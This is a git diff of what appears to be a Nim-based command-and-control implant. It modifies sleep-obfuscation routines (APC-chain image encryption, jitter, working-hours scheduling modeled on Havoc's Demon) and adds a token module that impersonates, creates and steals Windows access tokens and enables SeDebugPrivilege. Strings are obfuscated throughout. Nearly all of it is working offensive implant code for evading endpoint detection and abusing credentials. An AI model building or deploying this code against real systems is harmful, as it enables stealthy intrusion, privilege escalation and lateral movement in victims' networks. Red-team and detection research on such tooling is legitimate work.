status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
echo fmt"[*] [{hThread.repr}] Thread created "
|
print fmt"[*] [{hThread.repr}] Thread created "
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
ctxInit.ContextFlags = CONTEXT_FULL
|
ctxInit.ContextFlags = CONTEXT_FULL
|
||||||
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
||||||
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
||||||
@@ -545,42 +548,87 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
inc gadget
|
inc gadget
|
||||||
|
|
||||||
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
||||||
ctx[gadget].Rip = cast[DWORD64](ExitThread)
|
ctx[gadget].Rip = cast[DWORD64](winbase.ExitThread)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](0)
|
ctx[gadget].Rcx = cast[DWORD64](0)
|
||||||
|
|
||||||
# Queueing the chain
|
# Queueing the chain
|
||||||
for i in 0 .. gadget:
|
for i in 0 .. gadget:
|
||||||
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Start sleep obfuscation
|
# Start sleep obfuscation
|
||||||
status = apis.NtAlertResumeThread(hThread, NULL)
|
status = apis.NtAlertResumeThread(hThread, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
echo protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
|
# Function to determine whether the agent currently operates within the configured working hours
|
||||||
|
proc withinWorkingHours(workingHours: WorkingHours): bool =
|
||||||
|
var time: SYSTEMTIME
|
||||||
|
GetLocalTime(addr time)
|
||||||
|
|
||||||
|
if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour:
|
||||||
|
return false
|
||||||
|
|
||||||
|
if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute:
|
||||||
|
return false
|
||||||
|
|
||||||
|
if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute:
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
# Sleep obfuscation implemented in various techniques
|
# Sleep obfuscation implemented in various techniques
|
||||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
||||||
|
|
||||||
if sleepDelay == 0:
|
if sleepSettings.sleepDelay == 0:
|
||||||
return
|
return
|
||||||
|
|
||||||
# Initialize required API functions
|
# Initialize required API functions
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
|
|
||||||
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
# Calculate actual sleep delay with jitter
|
||||||
|
let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||||
|
let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||||
|
|
||||||
|
var delay = int(rand(minDelay .. maxDelay) * 1000)
|
||||||
|
|
||||||
|
# Working hours
|
||||||
|
# https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650
|
||||||
|
# If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day.
|
||||||
|
if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours):
|
||||||
|
print "[*] Agent is outside of working hours."
|
||||||
|
delay = 0
|
||||||
|
|
||||||
|
# Get current time
|
||||||
|
var time: SYSTEMTIME
|
||||||
|
GetLocalTime(addr time)
|
||||||
|
|
||||||
|
let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute)
|
||||||
|
let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute
|
||||||
|
|
||||||
|
if minutesSinceMidnight < minutesUntilWorkday:
|
||||||
|
# We are on the same day as the start of the work day: calculate the difference between the two timestamps
|
||||||
|
delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Calculate minutes until midnight and add the minutes until the start of the workday
|
||||||
|
delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000
|
||||||
|
|
||||||
|
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
|
||||||
|
|
||||||
var img: USTRING = USTRING(Length: 0)
|
var img: USTRING = USTRING(Length: 0)
|
||||||
var key: USTRING = USTRING(Length: 0)
|
var key: USTRING = USTRING(Length: 0)
|
||||||
@@ -596,16 +644,16 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
|
|||||||
|
|
||||||
# Generate random encryption key
|
# Generate random encryption key
|
||||||
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
||||||
key.Buffer = keyBuffer.addr
|
key.Buffer = addr keyBuffer
|
||||||
key.Length = cast[DWORD](keyBuffer.len())
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
# Execute sleep obfuscation technique
|
# Execute sleep obfuscation technique
|
||||||
case technique:
|
case sleepSettings.sleepTechnique:
|
||||||
of EKKO:
|
of EKKO:
|
||||||
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
|
||||||
of ZILEAN:
|
of ZILEAN:
|
||||||
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
|
||||||
of FOLIAGE:
|
of FOLIAGE:
|
||||||
sleepFoliage(apis, key, img, sleepDelay)
|
sleepFoliage(apis, key, img, delay)
|
||||||
of NONE:
|
of NONE:
|
||||||
sleep(sleepDelay)
|
sleep(delay)
|
||||||
|
|||||||
380
src/agent/core/token.nim
Normal file
@@ -0,0 +1,380 @@
|
|||||||
|
import winim/lean
|
||||||
|
import strformat
|
||||||
|
import ../utils/io
|
||||||
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
|
#[
|
||||||
|
Token impersonation & manipulation
|
||||||
|
|
||||||
|
Resources:
|
||||||
|
- https://maldevacademy.com/new/modules/57
|
||||||
|
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
|
||||||
|
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
|
||||||
|
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
|
||||||
|
- Windows System Programming Security on INE (Pavel Yosifovich)
|
||||||
|
]#
|
||||||
|
|
||||||
|
# APIs
|
||||||
|
type
|
||||||
|
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||||
|
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
|
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
|
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
|
||||||
|
NtSetInformationThread = proc(hThread: HANDLE, threadInformationClass: THREADINFOCLASS, threadInformation: PVOID, threadInformationLength: ULONG): NTSTATUS {.stdcall.}
|
||||||
|
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
|
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||||
|
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
|
||||||
|
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
|
||||||
|
|
||||||
|
Apis = object
|
||||||
|
NtOpenProcessToken: NtOpenProcessToken
|
||||||
|
NtOpenThreadToken: NtOpenThreadToken
|
||||||
|
NtQueryInformationToken: NtQueryInformationToken
|
||||||
|
ConvertSidToSTringSidA: ConvertSidToSTringSidA
|
||||||
|
NtSetInformationThread: NtSetInformationThread
|
||||||
|
NtDuplicateToken: NtDuplicateToken
|
||||||
|
NtClose: NtClose
|
||||||
|
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
|
||||||
|
NtOpenProcess: NtOpenProcess
|
||||||
|
|
||||||
|
proc initApis(): Apis =
|
||||||
|
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||||
|
|
||||||
|
result.NtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
||||||
|
result.NtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
||||||
|
result.NtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
|
||||||
|
result.ConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
|
||||||
|
result.NtSetInformationThread = cast[NtSetInformationThread](GetProcAddress(hNtdll, protect("NtSetInformationThread")))
|
||||||
|
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
|
||||||
|
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
|
||||||
|
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
|
||||||
|
result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess")))
|
||||||
|
|
||||||
|
const
|
||||||
|
CURRENT_PROCESS = cast[HANDLE](-1)
|
||||||
|
CURRENT_THREAD = cast[HANDLE](-2)
|
||||||
|
|
||||||
|
proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
hToken: HANDLE
|
||||||
|
|
||||||
|
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
|
||||||
|
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
return hToken
|
||||||
|
|
||||||
|
proc sidToString(apis: Apis, sid: PSID): string =
|
||||||
|
var stringSid: LPSTR
|
||||||
|
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
||||||
|
return $stringSid
|
||||||
|
|
||||||
|
proc sidToName(apis: Apis, sid: PSID): string =
|
||||||
|
var
|
||||||
|
usernameSize: DWORD = 0
|
||||||
|
domainSize: DWORD = 0
|
||||||
|
sidType: SID_NAME_USE
|
||||||
|
|
||||||
|
# Retrieve required sizes
|
||||||
|
discard LookupAccountSidW(NULL, sid, NULL, addr usernameSize, NULL, addr domainSize, addr sidType)
|
||||||
|
|
||||||
|
var username = newWString(int(usernameSize) + 1)
|
||||||
|
var domain = newWString(int(domainSize) + 1)
|
||||||
|
if LookupAccountSidW(NULL, sid, username, addr usernameSize, domain, addr domainSize, addr sidType) == TRUE:
|
||||||
|
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
|
||||||
|
return ""
|
||||||
|
|
||||||
|
proc privilegeToString(apis: Apis, luid: PLUID): string =
|
||||||
|
var privSize: DWORD = 0
|
||||||
|
|
||||||
|
# Retrieve required size
|
||||||
|
discard LookupPrivilegeNameW(NULL, luid, NULL, addr privSize)
|
||||||
|
|
||||||
|
var privName = newWString(int(privSize) + 1)
|
||||||
|
if LookupPrivilegeNameW(NULL, luid, privName, addr privSize) == TRUE:
|
||||||
|
return $privName[0 ..< int(privSize)]
|
||||||
|
return ""
|
||||||
|
|
||||||
|
#[
|
||||||
|
Retrieve and return information about an access token
|
||||||
|
]#
|
||||||
|
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pStats: TOKEN_STATISTICS
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
let
|
||||||
|
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
||||||
|
tokenId = cast[uint32](pStats.TokenId).toHex()
|
||||||
|
|
||||||
|
return (tokenId, tokenType)
|
||||||
|
|
||||||
|
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pUser: PTOKEN_USER
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pUser == NULL:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pUser))
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||||
|
|
||||||
|
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pElevation: TOKEN_ELEVATION
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
return cast[bool](pElevation.TokenIsElevated)
|
||||||
|
|
||||||
|
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pGroups: PTOKEN_GROUPS
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pGroups == NULL:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pGroups))
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
let
|
||||||
|
groupCount = pGroups.GroupCount
|
||||||
|
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
|
||||||
|
|
||||||
|
result &= fmt"Group memberships ({groupCount})" & "\n"
|
||||||
|
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||||
|
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
|
||||||
|
|
||||||
|
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pPrivileges: PTOKEN_PRIVILEGES
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pPrivileges == NULL:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pPrivileges))
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
let
|
||||||
|
privCount = pPrivileges.PrivilegeCount
|
||||||
|
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
|
||||||
|
|
||||||
|
result &= fmt"Privileges ({privCount})" & "\n"
|
||||||
|
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
|
||||||
|
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
|
||||||
|
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||||
|
|
||||||
|
|
||||||
|
proc getTokenInfo*(hToken: HANDLE): string =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
|
||||||
|
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||||
|
result &= fmt"Type: {tokenType}" & "\n"
|
||||||
|
|
||||||
|
let (username, sid) = apis.getTokenUser(hToken)
|
||||||
|
result &= fmt"User: {username}" & "\n"
|
||||||
|
result &= fmt"SID: {sid}" & "\n"
|
||||||
|
|
||||||
|
let isElevated = apis.getTokenElevation(hToken)
|
||||||
|
result &= fmt"Elevated: {$isElevated}" & "\n"
|
||||||
|
|
||||||
|
result &= apis.getTokenGroups(hToken )
|
||||||
|
result &= apis.getTokenPrivileges(hToken)
|
||||||
|
|
||||||
|
#[
|
||||||
|
Impersonate token
|
||||||
|
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
|
||||||
|
]#
|
||||||
|
proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||||
|
var
|
||||||
|
status: NTSTATUS
|
||||||
|
qos: SECURITY_QUALITY_OF_SERVICE
|
||||||
|
oa: OBJECT_ATTRIBUTES
|
||||||
|
impersonationToken: HANDLE = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
duplicated: bool = false
|
||||||
|
|
||||||
|
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
|
||||||
|
# Create a duplicate impersonation token
|
||||||
|
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
|
||||||
|
qos.ImpersonationLevel = securityImpersonation
|
||||||
|
qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING
|
||||||
|
qos.EffectiveOnly = FALSE
|
||||||
|
|
||||||
|
oa.Length = cast[DWORD](sizeof(OBJECT_ATTRIBUTES))
|
||||||
|
oa.RootDirectory = 0
|
||||||
|
oa.ObjectName = NULL
|
||||||
|
oa.Attributes = 0
|
||||||
|
oa.SecurityDescriptor = NULL
|
||||||
|
oa.SecurityQualityOfService = addr qos
|
||||||
|
|
||||||
|
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Use the original token if it is already an impersonation token
|
||||||
|
impersonationToken = hToken
|
||||||
|
|
||||||
|
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
|
||||||
|
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
defer: discard apis.NtClose(impersonationToken)
|
||||||
|
|
||||||
|
#[
|
||||||
|
Revert to original access token
|
||||||
|
RevertToSelf() API implemented using Native API
|
||||||
|
]#
|
||||||
|
proc rev2self*() =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
hToken: HANDLE = 0
|
||||||
|
|
||||||
|
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
|
||||||
|
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
#[
|
||||||
|
Create a new access token from a username, password and domain name triplet.
|
||||||
|
Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly)
|
||||||
|
This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user.
|
||||||
|
In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
|
||||||
|
The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
|
||||||
|
|
||||||
|
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
|
||||||
|
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
|
||||||
|
]#
|
||||||
|
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
if username == "" or password == "" or domain == "":
|
||||||
|
raise newException(CatchableError, protect("Invalid format."))
|
||||||
|
|
||||||
|
rev2self()
|
||||||
|
|
||||||
|
var hToken: HANDLE
|
||||||
|
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||||
|
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
|
apis.impersonate(hToken)
|
||||||
|
|
||||||
|
return apis.getTokenUser(hToken).username
|
||||||
|
|
||||||
|
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
tokenPrivs: TOKEN_PRIVILEGES
|
||||||
|
oldTokenPrivs: TOKEN_PRIVILEGES
|
||||||
|
luid: LUID
|
||||||
|
returnLength: DWORD
|
||||||
|
|
||||||
|
let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY)
|
||||||
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
|
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
|
||||||
|
raise newException(CatchableError,GetLastError().getError())
|
||||||
|
|
||||||
|
# Enable privilege
|
||||||
|
tokenPrivs.PrivilegeCount = 1
|
||||||
|
tokenPrivs.Privileges[0].Luid = luid
|
||||||
|
tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0
|
||||||
|
|
||||||
|
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||||
|
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||||
|
|
||||||
|
#[
|
||||||
|
Steal the access token of a remote process and impersonate it
|
||||||
|
This requires SYSTEM privileges to work reliably. Even running as a regular Administrator user might not be sufficient to steal access tokens of other processes
|
||||||
|
A work-around is to impersonate NT AUTHORITY\SYSTEM first by stealing the token of a process like winlogon.exe, and then using this token to steal other user's tokens
|
||||||
|
]#
|
||||||
|
proc stealToken*(pid: int): string =
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
var
|
||||||
|
status: NTSTATUS
|
||||||
|
hProcess: HANDLE
|
||||||
|
hToken: HANDLE
|
||||||
|
clientId: CLIENT_ID
|
||||||
|
oa: OBJECT_ATTRIBUTES
|
||||||
|
|
||||||
|
# Enable the SeDebugPrivilege in the current token
|
||||||
|
# This privilege is required in order to duplicate and impersonate the access token of a remote process
|
||||||
|
discard enablePrivilege(protect("SeDebugPrivilege"))
|
||||||
|
|
||||||
|
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
|
||||||
|
clientId.UniqueProcess = cast[HANDLE](pid)
|
||||||
|
clientId.UniqueThread = 0
|
||||||
|
|
||||||
|
# Open a handle to the target process
|
||||||
|
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
defer: discard apis.NtClose(hProcess)
|
||||||
|
|
||||||
|
# Open a handle to the primary access token of the target process
|
||||||
|
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
|
